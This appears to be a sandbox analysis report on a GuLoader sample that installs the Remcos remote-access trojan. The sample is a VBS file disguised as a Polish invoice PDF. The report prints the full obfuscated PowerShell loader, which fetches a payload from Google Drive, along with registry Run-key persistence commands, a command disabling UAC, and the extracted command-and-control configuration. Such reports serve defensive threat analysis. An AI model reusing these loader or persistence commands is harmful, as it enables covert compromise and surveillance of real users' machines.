guloader | fe7ff83680ff3855e060227bddf560db0fe75b141db516320674dace99202224

Analysis

max time kernel
61s
max time network
132s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
02-04-2024 13:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

numer faktury_505603890324·pdf.vbs
Size

19KB
MD5

c9db37c76aee446f6df17e38469cc5f5
SHA1

d59d6620ceb71f5bf629c3837340d30a000dc098
SHA256

fe7ff83680ff3855e060227bddf560db0fe75b141db516320674dace99202224
SHA512

ba0888d72496a7518773c3f9fce912ff2b7f43e34dbc06d84b3346c109ff2837b09dd91fd04c75c708fc8a5fd5c4741b03327834aef37c63ff5884cbbe196351
SSDEEP

192:luOrrF5DUyLdYC/ShXcwyoXvWM24RUQr9OFmZOSxn57UYDb/AT/2PszfEciA6aT8:YgF52Muv/OEV7JDQ/2PszfEBhc8

Score

10^/10

guloader remcos remotehost downloader persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

a458386d9.duckdns.org:3256

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
true
hide_keylog_file
false
install_flag
true
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-KQ00DZ
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

3 1808 WScript.exe
13 1744 powershell.exe
15 1744 powershell.exe
16 1744 powershell.exe

flow	pid	process
3	1808	WScript.exe
13	1744	powershell.exe
15	1744	powershell.exe
16	1744	powershell.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exepowershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\Tetrachromatic = "%Industrialiseres50% -w 1 $Cigarfring=(Get-ItemProperty -Path 'HKCU:\\Pectized\\').Syntakstegns;%Industrialiseres50% ($Cigarfring)"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\Rmc-KQ00DZ = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Rmc-KQ00DZ = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

6 drive.google.com
7 drive.google.com
13 drive.google.com
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

powershell.exe

pid process

1744 powershell.exe
1744 powershell.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

powershell.exe

pid process

1744 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 2 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exe

pid process

2360 reg.exe
2464 reg.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid process

2892 powershell.exe
1744 powershell.exe
1744 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2892 powershell.exe
Token: SeDebugPrivilege 1744 powershell.exe

flow	ioc
6	drive.google.com
7	drive.google.com
13	drive.google.com

pid	process
1744	powershell.exe
1744	powershell.exe

pid	process
1744	powershell.exe

pid	process
2360	reg.exe
2464	reg.exe

pid	process
2892	powershell.exe
1744	powershell.exe
1744	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	1744	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

Processes:

WScript.exepowershell.exepowershell.execmd.exe

description	pid	process	target process
PID 1808 wrote to memory of 2892	1808	WScript.exe	powershell.exe
PID 1808 wrote to memory of 2892	1808	WScript.exe	powershell.exe
PID 1808 wrote to memory of 2892	1808	WScript.exe	powershell.exe
PID 2892 wrote to memory of 1108	2892	powershell.exe	cmd.exe
PID 2892 wrote to memory of 1108	2892	powershell.exe	cmd.exe
PID 2892 wrote to memory of 1108	2892	powershell.exe	cmd.exe
PID 2892 wrote to memory of 1744	2892	powershell.exe	powershell.exe
PID 2892 wrote to memory of 1744	2892	powershell.exe	powershell.exe
PID 2892 wrote to memory of 1744	2892	powershell.exe	powershell.exe
PID 2892 wrote to memory of 1744	2892	powershell.exe	powershell.exe
PID 1744 wrote to memory of 2208	1744	powershell.exe	cmd.exe
PID 1744 wrote to memory of 2208	1744	powershell.exe	cmd.exe
PID 1744 wrote to memory of 2208	1744	powershell.exe	cmd.exe
PID 1744 wrote to memory of 2208	1744	powershell.exe	cmd.exe
PID 1744 wrote to memory of 2976	1744	powershell.exe	cmd.exe
PID 1744 wrote to memory of 2976	1744	powershell.exe	cmd.exe
PID 1744 wrote to memory of 2976	1744	powershell.exe	cmd.exe
PID 1744 wrote to memory of 2976	1744	powershell.exe	cmd.exe
PID 2976 wrote to memory of 2360	2976	cmd.exe	reg.exe
PID 2976 wrote to memory of 2360	2976	cmd.exe	reg.exe
PID 2976 wrote to memory of 2360	2976	cmd.exe	reg.exe
PID 2976 wrote to memory of 2360	2976	cmd.exe	reg.exe
PID 1744 wrote to memory of 2140	1744	powershell.exe	cmd.exe
PID 1744 wrote to memory of 2140	1744	powershell.exe	cmd.exe
PID 1744 wrote to memory of 2140	1744	powershell.exe	cmd.exe
PID 1744 wrote to memory of 2140	1744	powershell.exe	cmd.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\numer faktury_505603890324·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Phenaceturic Betingelsesdel Biblioteksudlaanet Reshipments Eddikens Betsileos Manuma #>;$Peasantries=(cmd /c set /A 115^^0);Function Bundteksters ([String]$Exon){$Klimatologs=8;$Kemibgernsalivation=Volcano($Exon);For($Kemibger=7; $Kemibger -lt $Kemibgernsalivation; $Kemibger+=$Klimatologs){$Sidetallerkeners=$Exon.$Knapper.Invoke($Kemibger, 1);$Flatterers=$Flatterers+$Sidetallerkeners;}$Flatterers;}function Chivvy ($Tic){. ($melopoeic) ($Tic);}function Volcano ([String]$Ernringsfysiologerne){$Kimendes=$Ernringsfysiologerne.Length-1;$Kimendes;}$Peasantries=[char][int]$Peasantries;$Knapper=$Peasantries+'ubstring';$Skamrdmen=Bundteksters 'Organ,sTDisg.orrMerrymeaNonext,n Fluttesk.skadefCibo,sdeSkafninrVibraphrNsvisreiMatrikenCapillagUn ergr ';$Lazarist=Bundteksters 'UnclimbhNedgan,tHorsetotV,ldelipRettelss Notere:Skulk,n/ Autori/ClimactdCivi,isrLnindtgiHemiphrv Forli.eMotorbr.FortllegUdkonkuoCurvogroFugaci,g Af alklpeckingeSausage.Mi htescEgest,ooAmoknurmNegle.e/Proterouspine,ecOmbest.? EdnasceTrianguxSkulderpGlossapoboulevarBerettetSeletfa=.undevedInsug,nofondshaw Epita n oldninlv rdenso IrenesaScupperd La,oni& FritstiSt reomdBraciol=Rosenst1fors.ar7IndkomsE lederen Hainan3 solsortBjesstiBKies.elDParcookJHa,ideseG.ugeab6 FascinwRoentg VunavngiWAerifyiLRemanurbColdhearTofrontMdubleriBPhylloc2As.ylar3NedgrelHTowngatOGarb espcoloquipAstroma7underlgXIrrepeaU fbalanT H.ndreWRa etskdStoresl2Ph.ladiDDomflde ';$melopoeic=Bundteksters 'JournaliFil.ngieProwedaxUn.eare ';$fircylindrets=Bundteksters 'Xylocar$ VinlvmgDinornilScrofulolotteribbookboaaEuxe.itl Sc ewd:Stjert TunionisiThumbikl CrematsPrahmriaBandagenSpringedRegnefue Sekaned.ncowlme Un,urr Benigna=poles i GazomeS SuperitSigteliaRecirkurBe.wepttLeall.a-StvdragB HooteriP,ineuntUdbedrisUdaandeTOutplacrBibrin.a orskern SygneisNae.oidfAnkomneedipla,trBl.bber Rat.ish-ServobrS Cirkulo orskefuRegnvanrSaltlagcInt rmieStatspa Folkesk$UnderfaL KbenhaaFodboldz upersea TidnderGastroci JeaabnsVerdenstBo.sted Tropehj-Su,qualDNoncompeDisket.s,ydrocltUncongristuntmen I.islea Quarr tSensi aiSterlino St,imlnTropist Affolke$ AlcohoTH ltesaeOv.rrankIncarcesKisterstDoegngeiNonpunglC cilieaNetasderSelvantbFi,kedaeMadrigajSygeford BrugereErtholmrK ffrarsHagende ';Chivvy (Bundteksters 'Hundepi$ constig,erciallMis gynoRepentabWholelyaunmystilCaptans:SemiparTVandbadeStilisekBjer.stsFl kepotBundg,ritelepatlHydroseaEvoke,srThaneshbReparabeOver.asjFiresafdStartvreDe,kripr,eduktisB.atsch=Prepack$Gwineude Ad arsnHejrensvLystfis:LibelleaEngulfipTi,edespPosthusdhigh eaaBloatsttHemospoaDec bar ') ;Chivvy (Bundteksters 'MarksmaI ViscoumSeedcakpEquisidoWatchedr UdskydtQ oadse-,orgmesMWater eoSourbeldA.gribeuBortfall Rade,be Subtas RejsetiBShadcheiOptje.et Tanglos IndkliTT opophrForvandaoliniaanUnderlisCaninitfKeramike Blikv,r Oligom ') ;$Tekstilarbejders=$Tekstilarbejders+'\Gravrst.Coo' ;Chivvy (Bundteksters ' Heini.$ riegitgandels.l Maale,oAf opnibSl kaspaUnderv,l se icu: bloodiC TronfroChro.atu Slutk nFormndstDargerke Molassr EructkiTatarenn.llesfodHep tomeOwertern ExpecttAfsindiaTrebleptSuboptiiSeventyoOutflamn Kabine= iparia( AnecdoT ransmieNinetiesionisert Sukrin-E,iteriPDevolataEftersotFormat h Itam,l Saughen$Modera.T Tran,peSclerodkPlatonisnonvolutIndeholiSygeliglParahy aResundsrC managbDebil teConsentjC.mmododInconcle LignifrDy,frossTheftsr)Urinous ') ;while (-not $Counterindentation) {Chivvy (Bundteksters ' TurbopIbestyrefTeratog .onmanu(Sf,rmid$deenergTandouiliPhysapolPu tiersBlyholdaAftraednAsylst,dudsten.eTetra ydUnch lde Ob.kur.pro lamJSolsk noLif.odsb,erfidiSRollic,tObtenebasmitst.tPoitrineLindrin Rdkaa -BesprizecommunaqStm,ale Windsla$ CyclosSWebst.dkbesindea TelegrmSandvaar Bonmotd,issekkmReballoeVitrasenHjlpe i)Pertain Materia{O,erfreSSvips,ntUngatheavibrat rHermelitTerrito- LoblolSS ifflelmuscicaeBantusteUnen,hrpTraluce Samflel1 Unboun}UnmeltaeH,lesialFlerfamsIn,latoeSkattef{Tag rknSTandstitlovoveraLan,vinr BundfltKontr l-Telfon.SProjicelFr.landeSpecialePolychlpKulturp Transpi1re.sour; WeedieC TeglvrhFagraadiindertrv Somedev NonmonyStorebl Hall c$Autoca f Tred.eiAfbdendrDimittecDagafsnySs,ykkelSemiconiAfgrelsnGastropdCaponi,rTeks beeStukloftBaghaansForslvn}Kogepla ');Chivvy (Bundteksters 'udvikli$R.ducedg,nitterlRotatoroStraffebKystbanaKvaltprlPartici:HyperorCdr aattoS perdeuSwashbun P,eacct Mom.oleprocra rCentriciGendarmnUndef ad CowpieeVa.inaenA thenitY.gnobraMarty,it s.yllei ndtrdeoTimelnsn Cyanop=Me erie(PrluderTIdeentie T.ivlrsZonetertRegneud-TendovaPEvakueraNonseditA,etavlhDisting unfound$VrangmaTGuerr,lebiosyntkNonconcsProstattAdeuismi UniverlSmirks,aIsoproprEndetarbPartsfoeOcean,pjFolkered UnrevoeSomatogr mbassasFjernsy)Chu.kin ') ;}Chivvy (Bundteksters 'Fetolog$Selv,adg E,hanclWinegrooVindingbHu chinaDemissilBekmpel: JdedomH pouseheOprrskfnReinte vdetachriUngradus LumskenBeproseiFrbyvean La.ensgRazer ieFastprin Surre, Borger= Bmpele DukketeGCeromaneCyke.kut Unruin-h,wardsCUtilstroActinomnOpbygintStrandeeRoofersn heautot Ma,pak Galpes$Mi,eogrTDevanage LedelskDisk,tes .imulatDebatari Svampel BenediaStatskir A,golab ThisteeBoghvedjKreatiodLbetid eAnretnirKunstaksPolarog ');Chivvy (Bundteksters 'Spidska$k.ybbesgExplicali,citamo sammenbNullabla Husgerlbrinnyu:genotypb Plea.ae Con.enaDataopsu hin.ndmDrablyhoSknaandnIndt end Seetu.eAffatn, Blodba= Feltst Sovepil[BadevanSBud.etryAgrologsSnaps.ct Outbegetvelyd,m Afbeny.immunogCSlovenvoLate,tsnAfsp jlvPailsfueUnc.nnirRegionstFrstest]Flymeka: For ry: SerigrF GremaarOverhatoForcedsmSheafliB SateliaFlelseosUmuliggearts av6Apotele4Ufor.taSForkorttSkibstirHimm,lsiPrededinspygatmgAnastaz(.ikkerh$ PostmaHBeliggeeHoora enValgkonvBlokadeiI ternasMycetopnEmuersaiWondersn Efte lgAccolademedillenTngerne)Forfje, ');Chivvy (Bundteksters 'C,ocody$Nonri.agUnhandcl AfstbnofishboabMarnispaDeedinelCar.occ: NonfacUmindstenFiskerldarisinge.earninrVrd.ersf NstsvgoBirgittrMyosenhsS,bpacktSweetmeaSolutisaStil,ele Fa,ternEtherifd BegyndeStasisf Autofun=tilbage Charmer[C,lpurnSTelefony Be igtsP rietotForsmdee UglifimKob.erv.Barre,mT Udtrknebredygtx Secedet edirig.Exs uitENonwaivn rrivicC,icketoTickprod Electri GrsrodnDagpr.ggMusikra]termitb:Lugter.:CytosinApho,ocaSAltertaCLithopaIPhleba.ICu heab.AntinarGUtopiene oedelatAdfrd mSOve apptKas,emarNedkleniEmport nBar.ategUndersp(Un,ergo$Sta.islbbede,ageIndstniageron ouNonthinmWeddingoSpaniolnChilliedLaareneePing.in)Ph haly ');Chivvy (Bundteksters 'Dislik $KonverggVe,erinlAmtsboroDemontebThermoma BrstfllAfloese:.erraseDMaskinfr LineaeiVaabenlnInspisskThermoma entepebhabi iml WithgaeDefibrisVaginol=Indfrsl$PlagionUGruffien.hermotdClockcyeEmbryomrSupe.smfEksisteotrlkvinrBaadebrsMist lktFarmerea ,nformaAfryddee XylosinD.wnloadPlato,iem skinp.Th,ologsSkalksbu OverskbHgessoes ykkenftPartis.r PresswiOverflynsalooneg Thirty(Fost.rh3Appeten1 Veksli1.ienden2Con,ent2,dstopp3Rapunse,arom.tr3Cro,set1Forlibt3Unthi.k6S ralde7Chu chi)Svrmern ');Chivvy $Drinkables;"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2892

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c set /A 115^^0
3⤵
PID:1108

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Phenaceturic Betingelsesdel Biblioteksudlaanet Reshipments Eddikens Betsileos Manuma #>;$Peasantries=(cmd /c set /A 115^^0);Function Bundteksters ([String]$Exon){$Klimatologs=8;$Kemibgernsalivation=Volcano($Exon);For($Kemibger=7; $Kemibger -lt $Kemibgernsalivation; $Kemibger+=$Klimatologs){$Sidetallerkeners=$Exon.$Knapper.Invoke($Kemibger, 1);$Flatterers=$Flatterers+$Sidetallerkeners;}$Flatterers;}function Chivvy ($Tic){. ($melopoeic) ($Tic);}function Volcano ([String]$Ernringsfysiologerne){$Kimendes=$Ernringsfysiologerne.Length-1;$Kimendes;}$Peasantries=[char][int]$Peasantries;$Knapper=$Peasantries+'ubstring';$Skamrdmen=Bundteksters 'Organ,sTDisg.orrMerrymeaNonext,n Fluttesk.skadefCibo,sdeSkafninrVibraphrNsvisreiMatrikenCapillagUn ergr ';$Lazarist=Bundteksters 'UnclimbhNedgan,tHorsetotV,ldelipRettelss Notere:Skulk,n/ Autori/ClimactdCivi,isrLnindtgiHemiphrv Forli.eMotorbr.FortllegUdkonkuoCurvogroFugaci,g Af alklpeckingeSausage.Mi htescEgest,ooAmoknurmNegle.e/Proterouspine,ecOmbest.? EdnasceTrianguxSkulderpGlossapoboulevarBerettetSeletfa=.undevedInsug,nofondshaw Epita n oldninlv rdenso IrenesaScupperd La,oni& FritstiSt reomdBraciol=Rosenst1fors.ar7IndkomsE lederen Hainan3 solsortBjesstiBKies.elDParcookJHa,ideseG.ugeab6 FascinwRoentg VunavngiWAerifyiLRemanurbColdhearTofrontMdubleriBPhylloc2As.ylar3NedgrelHTowngatOGarb espcoloquipAstroma7underlgXIrrepeaU fbalanT H.ndreWRa etskdStoresl2Ph.ladiDDomflde ';$melopoeic=Bundteksters 'JournaliFil.ngieProwedaxUn.eare ';$fircylindrets=Bundteksters 'Xylocar$ VinlvmgDinornilScrofulolotteribbookboaaEuxe.itl Sc ewd:Stjert TunionisiThumbikl CrematsPrahmriaBandagenSpringedRegnefue Sekaned.ncowlme Un,urr Benigna=poles i GazomeS SuperitSigteliaRecirkurBe.wepttLeall.a-StvdragB HooteriP,ineuntUdbedrisUdaandeTOutplacrBibrin.a orskern SygneisNae.oidfAnkomneedipla,trBl.bber Rat.ish-ServobrS Cirkulo orskefuRegnvanrSaltlagcInt rmieStatspa Folkesk$UnderfaL KbenhaaFodboldz upersea TidnderGastroci JeaabnsVerdenstBo.sted Tropehj-Su,qualDNoncompeDisket.s,ydrocltUncongristuntmen I.islea Quarr tSensi aiSterlino St,imlnTropist Affolke$ AlcohoTH ltesaeOv.rrankIncarcesKisterstDoegngeiNonpunglC cilieaNetasderSelvantbFi,kedaeMadrigajSygeford BrugereErtholmrK ffrarsHagende ';Chivvy (Bundteksters 'Hundepi$ constig,erciallMis gynoRepentabWholelyaunmystilCaptans:SemiparTVandbadeStilisekBjer.stsFl kepotBundg,ritelepatlHydroseaEvoke,srThaneshbReparabeOver.asjFiresafdStartvreDe,kripr,eduktisB.atsch=Prepack$Gwineude Ad arsnHejrensvLystfis:LibelleaEngulfipTi,edespPosthusdhigh eaaBloatsttHemospoaDec bar ') ;Chivvy (Bundteksters 'MarksmaI ViscoumSeedcakpEquisidoWatchedr UdskydtQ oadse-,orgmesMWater eoSourbeldA.gribeuBortfall Rade,be Subtas RejsetiBShadcheiOptje.et Tanglos IndkliTT opophrForvandaoliniaanUnderlisCaninitfKeramike Blikv,r Oligom ') ;$Tekstilarbejders=$Tekstilarbejders+'\Gravrst.Coo' ;Chivvy (Bundteksters ' Heini.$ riegitgandels.l Maale,oAf opnibSl kaspaUnderv,l se icu: bloodiC TronfroChro.atu Slutk nFormndstDargerke Molassr EructkiTatarenn.llesfodHep tomeOwertern ExpecttAfsindiaTrebleptSuboptiiSeventyoOutflamn Kabine= iparia( AnecdoT ransmieNinetiesionisert Sukrin-E,iteriPDevolataEftersotFormat h Itam,l Saughen$Modera.T Tran,peSclerodkPlatonisnonvolutIndeholiSygeliglParahy aResundsrC managbDebil teConsentjC.mmododInconcle LignifrDy,frossTheftsr)Urinous ') ;while (-not $Counterindentation) {Chivvy (Bundteksters ' TurbopIbestyrefTeratog .onmanu(Sf,rmid$deenergTandouiliPhysapolPu tiersBlyholdaAftraednAsylst,dudsten.eTetra ydUnch lde Ob.kur.pro lamJSolsk noLif.odsb,erfidiSRollic,tObtenebasmitst.tPoitrineLindrin Rdkaa -BesprizecommunaqStm,ale Windsla$ CyclosSWebst.dkbesindea TelegrmSandvaar Bonmotd,issekkmReballoeVitrasenHjlpe i)Pertain Materia{O,erfreSSvips,ntUngatheavibrat rHermelitTerrito- LoblolSS ifflelmuscicaeBantusteUnen,hrpTraluce Samflel1 Unboun}UnmeltaeH,lesialFlerfamsIn,latoeSkattef{Tag rknSTandstitlovoveraLan,vinr BundfltKontr l-Telfon.SProjicelFr.landeSpecialePolychlpKulturp Transpi1re.sour; WeedieC TeglvrhFagraadiindertrv Somedev NonmonyStorebl Hall c$Autoca f Tred.eiAfbdendrDimittecDagafsnySs,ykkelSemiconiAfgrelsnGastropdCaponi,rTeks beeStukloftBaghaansForslvn}Kogepla ');Chivvy (Bundteksters 'udvikli$R.ducedg,nitterlRotatoroStraffebKystbanaKvaltprlPartici:HyperorCdr aattoS perdeuSwashbun P,eacct Mom.oleprocra rCentriciGendarmnUndef ad CowpieeVa.inaenA thenitY.gnobraMarty,it s.yllei ndtrdeoTimelnsn Cyanop=Me erie(PrluderTIdeentie T.ivlrsZonetertRegneud-TendovaPEvakueraNonseditA,etavlhDisting unfound$VrangmaTGuerr,lebiosyntkNonconcsProstattAdeuismi UniverlSmirks,aIsoproprEndetarbPartsfoeOcean,pjFolkered UnrevoeSomatogr mbassasFjernsy)Chu.kin ') ;}Chivvy (Bundteksters 'Fetolog$Selv,adg E,hanclWinegrooVindingbHu chinaDemissilBekmpel: JdedomH pouseheOprrskfnReinte vdetachriUngradus LumskenBeproseiFrbyvean La.ensgRazer ieFastprin Surre, Borger= Bmpele DukketeGCeromaneCyke.kut Unruin-h,wardsCUtilstroActinomnOpbygintStrandeeRoofersn heautot Ma,pak Galpes$Mi,eogrTDevanage LedelskDisk,tes .imulatDebatari Svampel BenediaStatskir A,golab ThisteeBoghvedjKreatiodLbetid eAnretnirKunstaksPolarog ');Chivvy (Bundteksters 'Spidska$k.ybbesgExplicali,citamo sammenbNullabla Husgerlbrinnyu:genotypb Plea.ae Con.enaDataopsu hin.ndmDrablyhoSknaandnIndt end Seetu.eAffatn, Blodba= Feltst Sovepil[BadevanSBud.etryAgrologsSnaps.ct Outbegetvelyd,m Afbeny.immunogCSlovenvoLate,tsnAfsp jlvPailsfueUnc.nnirRegionstFrstest]Flymeka: For ry: SerigrF GremaarOverhatoForcedsmSheafliB SateliaFlelseosUmuliggearts av6Apotele4Ufor.taSForkorttSkibstirHimm,lsiPrededinspygatmgAnastaz(.ikkerh$ PostmaHBeliggeeHoora enValgkonvBlokadeiI ternasMycetopnEmuersaiWondersn Efte lgAccolademedillenTngerne)Forfje, ');Chivvy (Bundteksters 'C,ocody$Nonri.agUnhandcl AfstbnofishboabMarnispaDeedinelCar.occ: NonfacUmindstenFiskerldarisinge.earninrVrd.ersf NstsvgoBirgittrMyosenhsS,bpacktSweetmeaSolutisaStil,ele Fa,ternEtherifd BegyndeStasisf Autofun=tilbage Charmer[C,lpurnSTelefony Be igtsP rietotForsmdee UglifimKob.erv.Barre,mT Udtrknebredygtx Secedet edirig.Exs uitENonwaivn rrivicC,icketoTickprod Electri GrsrodnDagpr.ggMusikra]termitb:Lugter.:CytosinApho,ocaSAltertaCLithopaIPhleba.ICu heab.AntinarGUtopiene oedelatAdfrd mSOve apptKas,emarNedkleniEmport nBar.ategUndersp(Un,ergo$Sta.islbbede,ageIndstniageron ouNonthinmWeddingoSpaniolnChilliedLaareneePing.in)Ph haly ');Chivvy (Bundteksters 'Dislik $KonverggVe,erinlAmtsboroDemontebThermoma BrstfllAfloese:.erraseDMaskinfr LineaeiVaabenlnInspisskThermoma entepebhabi iml WithgaeDefibrisVaginol=Indfrsl$PlagionUGruffien.hermotdClockcyeEmbryomrSupe.smfEksisteotrlkvinrBaadebrsMist lktFarmerea ,nformaAfryddee XylosinD.wnloadPlato,iem skinp.Th,ologsSkalksbu OverskbHgessoes ykkenftPartis.r PresswiOverflynsalooneg Thirty(Fost.rh3Appeten1 Veksli1.ienden2Con,ent2,dstopp3Rapunse,arom.tr3Cro,set1Forlibt3Unthi.k6S ralde7Chu chi)Svrmern ');Chivvy $Drinkables;"
3⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1744

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c set /A 115^^0
4⤵
PID:2208

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Tetrachromatic" /t REG_EXPAND_SZ /d "%Industrialiseres50% -w 1 $Cigarfring=(Get-ItemProperty -Path 'HKCU:\Pectized\').Syntakstegns;%Industrialiseres50% ($Cigarfring)"
4⤵
- Suspicious use of WriteProcessMemory
PID:2976

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Tetrachromatic" /t REG_EXPAND_SZ /d "%Industrialiseres50% -w 1 $Cigarfring=(Get-ItemProperty -Path 'HKCU:\Pectized\').Syntakstegns;%Industrialiseres50% ($Cigarfring)"
5⤵
- Adds Run key to start application
- Modifies registry key
PID:2360

C:\Windows\SysWOW64\cmd.exe
/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
4⤵
PID:2140

C:\Windows\SysWOW64\reg.exe
C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
5⤵
- Modifies registry key
PID:2464

C:\ProgramData\Remcos\remcos.exe
"C:\ProgramData\Remcos\remcos.exe"
4⤵
PID:1632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Remcos\remcos.exe

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
6dcd1f6b6e5307f02a10bdc5d3dd6125

SHA1
1c90b82b1ba083a524e2031aeb15650c2cb9e5f5

SHA256
adcc8a43caaf47562a3fa5bbd0f58616d5fb2c65359111388dba1f81b48947b7

SHA512
99a5fc88367529cb47f82913d0df75e3ba7612e509c57a9f5776ffcd4de3a9bcb79e348ac224ebce9c06e7cc74b0424c19208eac791b9cae7b1519be1288dcf8

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabCCC1.tmp

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cleach.txt

Filesize
4KB

MD5
c132ead93dd767c6f441efc59786eb6c

SHA1
7d35d3ed07d81c00bdc965a23b7a587a4285d818

SHA256
a5e18065666df9865e94c3f20e3657b0224912d9d877e8564ee99eef4a67844b

SHA512
de5f572665f07a30d2f2371cff8e4960440e16e91a00c6d90e3ef2be9865b793d4fa4370be86b9ad072b725d1302ecb9fa490720d81188246f86792f9096af9e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cleach.txt

Filesize
4KB

MD5
eef15c25b6f384e6ab7f1f306f5d0e07

SHA1
4b3b0a4fdcbea1e6e9163db27955d2a3f9af43b0

SHA256
57501d3926ec5ef84ef528b1e8ff1bc0adc9fef9eb10d88bea9d92432f0854c9

SHA512
fe7f57260ea9b8d0e8f42b02caeb44ca6146350362739d03ba2ae7c3c79322e6a33c334aa17464892f59614a43eba152551ebe426d43fae4002337c116bc5120

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cleach.txt

Filesize
300B

MD5
e5360b80e5ad014472ba4b907fb36e79

SHA1
ac0f4c89649ffd2f6f436c47a4e0dadd9244e812

SHA256
4ba1176eb662a70d6b63a0f2dd0530e310cd3bc30eb9e90d53609e6689088b0b

SHA512
b42164e738b87cad6ef337f9081313cd366a958a7733c52f516a2b6c184c0aa39c0cf1b9f2c37a2d9ad1fd088fe3573d56985b4b8d1ad39817cf3d0df2cb44cd

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cleach.txt

Filesize
1KB

MD5
a72f144772db859658fa4bb27cc936da

SHA1
143ad7783080fc3ca4be706d151b07c2f461029f

SHA256
0b1f4458c75c032ce274ecc900b56c41abf4a5811fe2cddede96efd3fd503fdc

SHA512
